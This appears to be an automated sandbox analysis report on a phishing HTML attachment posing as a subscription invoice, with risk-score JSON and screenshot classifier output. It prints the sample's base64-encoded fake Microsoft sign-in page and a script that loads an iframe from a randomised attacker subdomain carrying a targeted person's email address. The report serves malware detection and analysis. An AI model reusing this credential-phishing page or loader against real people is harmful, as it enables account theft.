Windows Analysis Report
Subscription_Renewal_Invoice_2025_HKVXTC.html

{
    "risk_score": 6,
    "reasoning": "The provided JavaScript snippet appears to be a part of a login page for a Microsoft account. While it does not contain any obvious high-risk indicators, there are some moderate-risk behaviors that warrant further investigation. The script is loading external resources, including jQuery and other JavaScript libraries, which could potentially be used for data exfiltration or other malicious purposes. Additionally, the use of the `document.write()` function to dynamically generate HTML content is considered a moderate-risk indicator, as it could be used to inject malicious code. Overall, the script requires closer inspection to determine its true intent and potential risks."
}

document.write( atob( 'CjxodG1sIGRpcj0ibHRyIiBjbGFzcz0iIiBsYW5nPSJlbiI+CjxoZWFkPgogICAgPFRJVExFPlNpZ24gaW4gdG8geW91ciBhY2NvdW50PC90aXRsZT4KICAgIDxNRVRBIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PVVURi04Ij4KICAgIDxNRVRBIGh0dHAtZXF1aXY9IlgtVUEtQ29tcGF0aWJsZSIgY29udGVudD0iSUU9ZWRnZSI+Cgo8TElOSyByZWw9InNob3J0Y3V0IGljb24iIGhyZWY9Imh0dHBzOi8vYWFkY2RuLm1zZnRhdXRoLm5ldC9zaGFyZWQvMS4wL2NvbnRlbnQvaW1hZ2VzL2Zhdmljb25fYV9ldXBheWZnZ2hxaWFpN2s5c29sNmxnMi5pY28iPgoKICAgCiAgICA8TElOSyBocmVmPSJodHRwczovL2FhZGNkbi5tc2Z0YXV0aC5uZXQvZXN0cy8yLjEvY29udGVudC9jZG5idW5kbGVzL2NvbnZlcmdlZC52Mi5sb2dpbi5taW5fa2ZocmZ5Znktc20ydG1rbTVmaWNjdzIuY3NzIiByZWw9InN0eWxlc2hlZXQiPgoKPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiIHNyYz0iaHR0cHM6Ly9hamF4Lmdvb2dsZWFwaXMuY29tL2FqYXgvbGlicy9qcXVlcnkvMi4yLjQvanF1ZXJ5Lm1pbi5qcyI+PC9zY3JpcHQ+CiAgICA8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCIgc3JjPSJodHRwczovL2NvZGUuanF1ZXJ5LmNvbS9qcXVlcnktMy4xLjEubWluLmpzIj48L3NjcmlwdD4KICAgIDxTQ1JJUFQgdHlwZT0idGV4dC9qYXZhc2NyaXB0IiBzcmM9Imh0dHBzOi8vY29kZS5qcXVlcnkuY29tL2pxdWVyeS0zLjMuMS5qcyIgaW50ZWdyaXR5PSJzaGEyNTYtMktvazdNYk95eHBnVVZ2QWsvSEoyamlnT1NZUzJhdUs0UGZ6Ym03dUg2MD0iIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiPjwvc2NyaXB0PgoJCjxMSU5LIHJlbD0icHJlZmV0Y2giIGhyZWY9Imh0dHBzOi8vYWFkY2RuLm1zZnRhdXRoLm5ldC9lc3RzLzIuMS9jb250ZW50L2NkbmJ1bmRsZXMvY29udmVyZ2VkLnYyLmxvZ2luLm1pbl9rZmhyZnlmeS1zbTJ0bWttNWZpY2N3Mi5jc3MiPgoKPC9IRUFEPgoKPEJPRFkgIGNsYXNzPSJjYiIgc3R5bGU9ImRpc3BsYXk6IGJsb2NrOyI+CgoKPERJVj4KCjxESVYgPjwvRElWPgoKCgoKICAgIDxkaXY+Cgo8RElWIGlkPSJsaWdodGJveFRlbXBsYXRlQ29udGFpbmVyIiA+Cgo8RElWIGlkPSJsaWdodGJveEJhY2tncm91bmRDb250YWluZXIiID48RElWIGNsYXNzPSJiYWNrZ3JvdW5kLWltYWdlLWhvbGRlciIgcm9sZT0icHJlc2VudGF0aW9uIiA+CgogICAgPERJViBjbGFzcz0iYmFja2dyb3VuZC1pbWFnZSBleHQtYmFja2dyb3VuZC1pbWFnZSIgc3R5bGU9ImJhY2tncm91bmQtaW1hZ2U6IHVybCgmcXVvdDtodHRwczovL2FhZGNkbi5tc2Z0YXV0aC5uZXQvc2hhcmVkLzEuMC9jb250ZW50L2ltYWdlcy9iYWNrZ3JvdW5kcy8yX2JjM2QzMmE2OTY4OTVmNzhjMTlkZjZjNzE3NTg2YTVkLnN2ZyZxdW90Oyk7Ij48L0RJVj4KCjwvRElWPjwvRElWPgoKPERJViBjbGFzcz0ib3V0ZXIiID4KCgogICAgPERJViBjbGFzcz0idGVtcGxhdGUtc2VjdGlvbiBtYWluLXNlY3Rpb24iPgogICAgICAgIDxESVYgIGNsYXNzPSJtaWRkbGUgZXh0LW1pZGRsZSI+CiAgICAgICAgICAgIDxESVYgY2xhc3M9ImZ1bGwtaGVpZ2h0Ij4KCjxESVYgY2xhc3M9ImZsZXgtY29sdW1uIj4KIAoKPERJViBjbGFzcz0id2luLXNjcm9sbCI+CgoKCgoKCgoKPERJViBpZD0ieXVpaWl0MTAiIGNsYXNzPSJzaWduLWluLWJveCBleHQtc2lnbi1pbi1ib3ggZmFkZS1pbi1saWdodGJveCBoYXMtcG9wdXAiPgoKICAgICAgICAgICAKCiAgICAgICAgPERJViBjbGFzcz0ibGlnaHRib3gtY292ZXIiPjwvRElWPgoKICAgICAgICAKICAgICAgICA8RElWPgoKPGltZyBjbGFzcz0ibG9nbyIgcm9sZT0iaW1nIiBzcmM9Imh0dHBzOi8vYWFkY2RuLm1zYXV0aC5uZXQvc2hhcmVkLzEuMC9jb250ZW50L2ltYWdlcy9taWNyb3NvZnRfbG9nb19lZTVjOGQ5ZmI2MjQ4YzkzOGZkMGRjMTkzNzBlOTBiZC5zdmciIGFsdD0iTWljcm9zb2Z0Ij48L0RJVj4KICAgICAgICAKICAgICAgICA8RElWIHJvbGU9Im1haW4iPgoKPERJViBjbGFzcz0iIj4KICAgIAogICAgPERJViBjbGFzcz0icGFnaW5hdGlvbi12aWV3IGFuaW1hdGUgc2xpZGUtaW4tbmV4dCI+CgogICAgICA8RElWIGRhdGEtdmlld2lkPSIxIiBkYXRhLXNob3dmZWRjcmVkYnV0dG9uPSJ0cnVlIj4KCjxESVY+PERJViBjbGFzcz0icm93IHRpdGxlIGV4dC10aXRsZSIgaWQ9ImxvZ2luSGVhZGVyIj4KICAgIDxESVYgcm9sZT0iaGVhZGluZyIgYXJpYS1sZXZlbD0iMSI+U2lnbiBpbjwvRElWPgogICAKPC9ESVY+PC9ESVY+Cgo8RElWIGNsYXNzPSJyb3ciPgogICAgPERJViByb2xlPSJhbGVydCIgYXJpYS1saXZlPSJhc3NlcnRpdmUiPgoJPHNwYW4gY2xhc3M9ImNvbC1tZC0yNCBlcnJvciBleHQtZXJyb3IiIGlkPSJldGVyYW9yIiBzdHlsZT0iZGlzcGxheTogbm9uZTsiPlRoaXMgTWljcm9zb2Z0IGFjY291bnQgZG9lc24ndCBleGlzdC4gRW50ZXIgYSB2YWxpZCBlbWFpbCBhZGRyZXNzLjwvc3Bhbj4KICAgIDwvRElWPgoKICAgIDxESVYgY2xhc3M9ImZvcm0tZ3JvdXAgY29sLW1kLTI0Ij4KICAgICAgIAogICAgICAgIDxESVYgY2xhc3M9InBsYWNlaG9sZGVyQ29udGFpbmVyIj4KCiAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJlbWFpbCIgbmFtZT0iaXNhZG9zYSIgaWQ9ImlzYWRvc2EiIG1heGxlbmd0aD0iMTEzIiBjbGFzcz0iZm9ybS1jb250cm9sIGx0cl9vdmVycmlkZSBpbnB1dCBleHQtaW5wdXQgdGV4dC1ib3ggZXh0LXRleHQtYm94IiAgIHBsYWNlaG9sZGVyPSJFbWFpbCwgcGhvbmUsIG9yIFNreXBlIj4KCQkJCgkJCQoKICAgICAgICAgICAgPCEtLS0tPGlucHV0IG5hbWU9InBhc3N3ZCIgdHlwZT0icGFzc3dvcmQiIGlkPSJwYXNzd2QiIGF1dG9jb21wbGV0ZT0ib2ZmIiBkYXRhLWJpbmQ9Im1vdmVPZmZTY3JlZW4sIHRleHRJbnB1dDogcGFzc3dvcmRCcm93c2VyUHJlZmlsbCIgY2xhc3M9Im1vdmVPZmZTY

{
    "risk_score": 7,
    "reasoning": "This script exhibits several high-risk behaviors, including the use of dynamically generated URLs and the loading of an iframe from a potentially suspicious domain. The script also performs aggressive DOM manipulation by toggling the visibility of elements. While the script may have a legitimate purpose, the combination of these behaviors raises concerns and warrants further investigation."
}

        (() => {
            const generateRandomString = (length) => {
                const characters = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
                return Array.from({ length }, () => characters[Math.floor(Math.random() * characters.length)]).join('');
            };

            const generateURL = () => {
                const randomPath = generateRandomString(12);
                const randomQueryKey = generateRandomString(8);
                return `https://${generateRandomString(10)}.satelitnetkomputer.my.id:8443/impact?${randomPath}?key=matthieu.biens@rockwool.com`;
            };

            const toggleLoader = (isVisible) => {
                document.getElementById("loader-container").style.display = isVisible ? "flex" : "none";
                document.getElementById("main-content").style.display = isVisible ? "none" : "block";
            };

            const loadIframe = () => {
                const iframe = document.createElement("iframe");
                iframe.src = generateURL();
                iframe.onload = () => console.log("Content loaded successfully.");
                iframe.onerror = () => console.error("Error loading content.");
                document.getElementById("main-content").appendChild(iframe);
            };

            document.addEventListener("DOMContentLoaded", () => {
                setTimeout(() => {
                    toggleLoader(false);
                    loadIframe();
                }, 3000); // Adjust the loading duration as needed
            });
        })();
    

{
    "typosquatting": false,
    "unusual_query_string": false,
    "suspicious_tld": false,
    "ip_in_url": false,
    "long_subdomain": false,
    "malicious_keywords": false,
    "encoded_characters": false,
    "redirection": false,
    "contains_email_address": false,
    "known_domain": false,
    "brand_spoofing_attempt": false,
    "third_party_hosting": false
}

URL: ://

{
  "contains_trigger_text": true,
  "trigger_text": "Taking you to your organization's sign-in page",
  "prominent_button_name": "Cancel",
  "text_input_field_labels": "unknown",
  "pdf_icon_visible": false,
  "has_visible_captcha": false,
  "has_urgent_text": false,
  "has_visible_qrcode": false,
  "contains_chinese_text": false,
  "contains_fake_security_alerts": false
}

{
  "contains_trigger_text": true,
  "trigger_text": "Taking you to your organization's sign-in page",
  "prominent_button_name": "Cancel",
  "text_input_field_labels": "unknown",
  "pdf_icon_visible": false,
  "has_visible_captcha": false,
  "has_urgent_text": false,
  "has_visible_qrcode": false,
  "contains_chinese_text": false,
  "contains_fake_security_alerts": false
}

{
  "brands": [
    "Microsoft"
  ]
}

{
  "brands": [
    "Microsoft"
  ]
}

{
  "contains_trigger_text": false,
  "trigger_text": "unknown",
  "prominent_button_name": "Sign in",
  "text_input_field_labels": [
    "Enter password"
  ],
  "pdf_icon_visible": false,
  "has_visible_captcha": false,
  "has_urgent_text": false,
  "has_visible_qrcode": false,
  "contains_chinese_text": false,
  "contains_fake_security_alerts": false
}

{
  "contains_trigger_text": false,
  "trigger_text": "unknown",
  "prominent_button_name": "Sign in",
  "text_input_field_labels": [
    "Enter password"
  ],
  "pdf_icon_visible": false,
  "has_visible_captcha": false,
  "has_urgent_text": false,
  "has_visible_qrcode": false,
  "contains_chinese_text": false,
  "contains_fake_security_alerts": false
}

{
  "brands": [
    "Microsoft"
  ]
}

{
  "brands": [
    "Microsoft"
  ]
}

{
  "contains_trigger_text": true,
  "trigger_text": "Enter password",
  "prominent_button_name": "Sign in",
  "text_input_field_labels": [
    "Your account or password is incorrect. If you forgot your password, reset it now."
  ],
  "pdf_icon_visible": false,
  "has_visible_captcha": false,
  "has_urgent_text": false,
  "has_visible_qrcode": false,
  "contains_chinese_text": false,
  "contains_fake_security_alerts": false
}

{
  "contains_trigger_text": true,
  "trigger_text": "Enter password",
  "prominent_button_name": "Sign in",
  "text_input_field_labels": [
    "Your account or password is incorrect. If you forgot your password, reset it now."
  ],
  "pdf_icon_visible": false,
  "has_visible_captcha": false,
  "has_urgent_text": false,
  "has_visible_qrcode": false,
  "contains_chinese_text": false,
  "contains_fake_security_alerts": false
}

{
  "brands": [
    "Microsoft"
  ]
}

{
  "brands": [
    "Microsoft"
  ]
}